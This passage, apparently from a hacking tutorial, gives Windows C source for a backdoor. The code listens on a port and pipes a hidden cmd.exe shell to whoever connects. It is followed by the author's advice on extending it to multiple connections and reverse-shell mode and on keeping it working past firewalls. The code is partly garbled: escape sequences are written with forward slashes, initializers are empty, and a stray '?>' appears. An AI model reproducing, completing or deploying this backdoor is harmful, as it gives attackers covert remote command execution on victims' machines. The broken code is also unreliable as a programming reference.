if (ListenSocket == INVALID_SOCKET) // Fail To Create A TCP Socket
{
printf("Fail To Create A BackDoor Socket/n"); // Display Error
Message
return -1; // Return
}
srv.sin_family = AF_INET; // Internet Related
srv.sin_addr.s_addr = htonl(INADDR_ANY); // Any Address
srv.sin_port = htons(BackDoorPort); // Back Door Port
if (bind(ListenSocket,(const struct sockaddr *) &srv,sizeof(srv)) ==
INVALID_SOCKET) // Fail To Bind The Socket
{
printf("Fail To Bind BackDoor Sokcet/n"); // Display Error Message
closesocket(ListenSocket); // Close The Socket
return -1; // Return
}
if (listen(ListenSocket,1) == INVALID_SOCKET) // Fail To Listen On The
Back Door's Port
{
printf("Fail To Listen/n"); // Display Error Message
closesocket(ListenSocket); // Close The Socket
return -1; // Return
}
SOCKET AcceptSocket = accept(ListenSocket, NULL,NULL); // Accepting
Connections
if (AcceptSocket == INVALID_SOCKET) // Fail To Accept Connection
{
printf("Fail To Accept Connection/n"); // Display Error Message
closesocket(ListenSocket); // Close The Socket
return -1; // Return
}
GetABackDoorShell(AcceptSocket); // Get A CMD Shell
closesocket(AcceptSocket); // Close Accpeted Socket
closesocket(ListenSocket); // Close The Listen Socket
return 0; // Return
}// End Of StartBackDoor Function
//---------------------------------------------------------------------------
-----
// Purpose: To To The Shell Stuff
// Return Type: Boolean
// Parameters: const SOCKET ListenSocket --> The Client Connected Socket
//---------------------------------------------------------------------------
-----
BOOL GetABackDoorShell(const SOCKET ListenSocket)
{
char ReceiveBuffer[MAX_PATH + 1]; // The Receive Buffer
char SendBuffer[1024 * 4]; // The Send Buffer
unsigned long OutputLength,InputLength; // The Input And Output Length
// The Pipe And Some Other Sutff
HANDLE ClientReadPipe = NULL;
HANDLE ClientWritePipe = NULL;
HANDLE CmdWritePipe = NULL;
HANDLE CmdReadPipe = NULL;
SECURITY_ATTRIBUTES sa = ;
STARTUPINFO si = ;
PROCESS_INFORMATION pi = ;
ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer));
if (GetSystemDirectory(ReceiveBuffer,MAX_PATH)) // Get System Directory
{
strcat(ReceiveBuffer,"/cmd.exe"); // Get The Cmd.exe Full Path
}
else // Fail To Get System Directory
{
SendSocket(ListenSocket,"Fail To Get System Diretory/r/n"); //
Display Error Message
return FALSE; // Return
}
// Initize The Stuff
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
memset(&pi,0,sizeof(pi));
if (!CreatePipe(&ClientReadPipe,&CmdWritePipe,&sa,0)) // Fail To Create
Client Read Pipe
{
SendSocket(ListenSocket,"Fail To Create Client Read Pipe/r/n"); //
Display Error Message
goto CleanUP; // Leave
}
if (!CreatePipe(&CmdReadPipe,&ClientWritePipe,&sa,0)) // Fail To Create
Cmd Read Pipe
{
SendSocket(ListenSocket,"Fail To Create CMD Read Pipe/r/n"); //
Display Error Message
goto CleanUP; // Leave
}
// Reset And Initize Stuff
memset((void *)&si,0,sizeof(si));
memset((void *)&pi,0,sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = CmdReadPipe; // Pass The CmdReadPipe To StdInput
si.hStdError = CmdWritePipe; // Pass The CmdWritePipe To StdError
si.hStdOutput = CmdWritePipe; // Pass The CmdWritePipe To StdOutput
if (!CreateProcess(ReceiveBuffer,NULL,NULL,NULL,1,0,NULL,
NULL,&si,&pi)) // Fail To Create A Cmd Shell Process
{
SendSocket(ListenSocket,"Fail To Create Process/r/n"); // Display
Error Message
goto CleanUP; // Leave
}
while(TRUE) // Shell Commincation Starts Here
{
if (!PeekNamedPipe(ClientReadPipe,SendBuffer,sizeof
(SendBuffer),&OutputLength,NULL,NULL)) // Fail To Get Data From The
Pipe
{
SendSocket(ListenSocket,"Fail To Peek Name Pipe/r/n"); // Display
Error Message
break; // Leave
}
if (OutputLength > 0) // Get Data From The Pipe Successfully
{
ZeroMemory(SendBuffer,sizeof(SendBuffer)); // Reset The Send
Buffer
if (!ReadFile
(ClientReadPipe,SendBuffer,OutputLength,&OutputLength,0)) //Fail To Read
The Data
{
SendSocket(ListenSocket,"Fail To Read File/r/n"); // Display
Error Message
break; // Leave
}
if (send(ListenSocket,SendBuffer,OutputLength,0) ==
SOCKET_ERROR) // Fail To Send The Data
{
printf("Fail To Send Buffer/n"); // Display Error Message
break; // Leave
}
}
else
{
ZeroMemory(ReceiveBuffer,sizeof(ReceiveBuffer)); // Reset Receive
Buffer
InputLength = ReceiveMessageFromSocket(ListenSocket, ReceiveBuffer,
sizeof(ReceiveBuffer)); // Receive Input From Client
if (InputLength == SOCKET_ERROR) // Fail To Receive Data
{
printf("Fail To Receive Buffer/n"); // Display Error Message
break; // Leave
}
if (!WriteFile
(ClientWritePipe,ReceiveBuffer,InputLength,&InputLength,0)) // Fail To
Write The Received Data To The Pipe
{
printf("Fail To Write File/n"); // Display Error Message
break; // Leave
}
// Leave The Shell
if (strnicmp((char*)ReceiveBuffer, "exit/r/n", 6) == 0 || strnicmp
((char*)ReceiveBuffer, "exit/r", 5)==0 || strnicmp((char*)
ReceiveBuffer, "exit/n", 5)==0)
break;
}
}
// Clean All Resource Allocated
CleanUP:
if (CmdReadPipe != NULL)
CloseHandle(CmdReadPipe);
if (CmdWritePipe != NULL)
CloseHandle(CmdWritePipe);
if (ClientReadPipe != NULL)
CloseHandle(ClientReadPipe);
if (ClientWritePipe)
CloseHandle(ClientWritePipe);
return TRUE;
}// End Of GetABackDoorShell Function
//---------------------------------------------------------------------------
-----
// Purpose: To Receive Data From Socket In A Custom-Defined Way
// Return Type: unsigned int
// Parameters: 1.const SOCKET ClientSocket --> The Client Connected Socket
// 2.char *Buffer --> Buffer To Hold Data
Received
// 3.const int BufferSize --> The Buffer Size
//---------------------------------------------------------------------------
-----
unsigned int ReceiveMessageFromSocket(const SOCKET ClientSocket,char
*Buffer,const int BufferSize)
{
ZeroMemory(Buffer,BufferSize); // Reset The Buffer
if (BufferSize < 2) // Buffer Size Is Less Then 2
{
return 0; // Dump
}
unsigned int CharacterCount = 0;
while(TRUE)
{
if (CharacterCount >= BufferSize) // The Characters Received Is
Bigger Or Equal The Buffer Size
{
// Give The Buffer An Enter
Buffer[BufferSize-2] = '/r';
Buffer[BufferSize-1] = '/n';
return CharacterCount; // Return The Characters Received
}
if (recv(ClientSocket,Buffer+CharacterCount,1,0) ==
SOCKET_ERROR) // Fail To Receive Data
{
return SOCKET_ERROR; // Return Error
}
if (Buffer[CharacterCount] == 'b') // Back Space Detected
{
Buffer[CharacterCount] = ''; // Skip It
if (CharacterCount > 0) // Characters Received Is Bigger Than 0
{
CharacterCount--; // Decrease One Character
Buffer[CharacterCount] = '';
}
continue; // Begin A New Loop
}
if (Buffer[CharacterCount++] == '/n') // Enter Is Detected
{
return CharacterCount; // Return The Characters Received
}
}
return 0; // We Get Nothing,Return Zero
}// End Of ReceiveMessageFromSocket Function
// End Of File
?>
Some people have mailed me asking why the code doesn't work or is unable to
compile. The answer is that the above code only demonstrates how to code
some backdoor similiar to BITS or portless; it is not a complete working
backdoor source code. If you want to make it work as you perfer, you need to
study ,re-write the source code in order to perfect it.
The source code only supports linear connection(only allow one connection at
once no matter normal shell or reverse shell methods),but you can change it
to non-linear. The easiler solution to convert it to
non-linear is to remove the line WaitForSingleObject(). Then,of course,you
have to handle the multi-thread
problem, at least you get to control how many threads allowe to be created
if you don't want your backdoor to create like 100 threads(it means the
backdoor locally binds on 100 different ports in normal shell mode). For
reverse shell mode,it's not a big problem since revrese shell use connect()
to create a reverse shell. If the connection fails,the thread will end.
Thus,if you prefer the non-linear approach, you have to work with the
problems generated in createing normal shell threads.
For linear approach,there is,still, a problem to be solved.Assume a user
successfully activates the backdoor in normal mode(the backdoor will bind on
a local port specified through the user's active string and the backdoor
will stop sniffing from now on until the normal shell thread is ended), if
the system has some sort of firewall or secure setting block the port on
which the backdoor has binded, connections to that port will all fails,which
means the backdoor will stop working(due to the linear approach,the sniffing
will stop as soon as normal shell or reverse shell thread is created. If the
thread never ends, the sniffing keeps still until the created thread is
terminated). To solve this problem,you can simply create a timeout-checking
thread before creating the normal shell thread. In some time period such as
2 minutes,if there is
no connection to the normal shell,the timeout-checking thread will terminate
the normal shell thread.I don't recommend using TerminateThread() to end a
thread because it's not safe in many aspects.
To sum up, whatever linear or non-linear approach, the problem is all about
normal shell mode.To make your own backdoor work better,you get to put your
effort on it.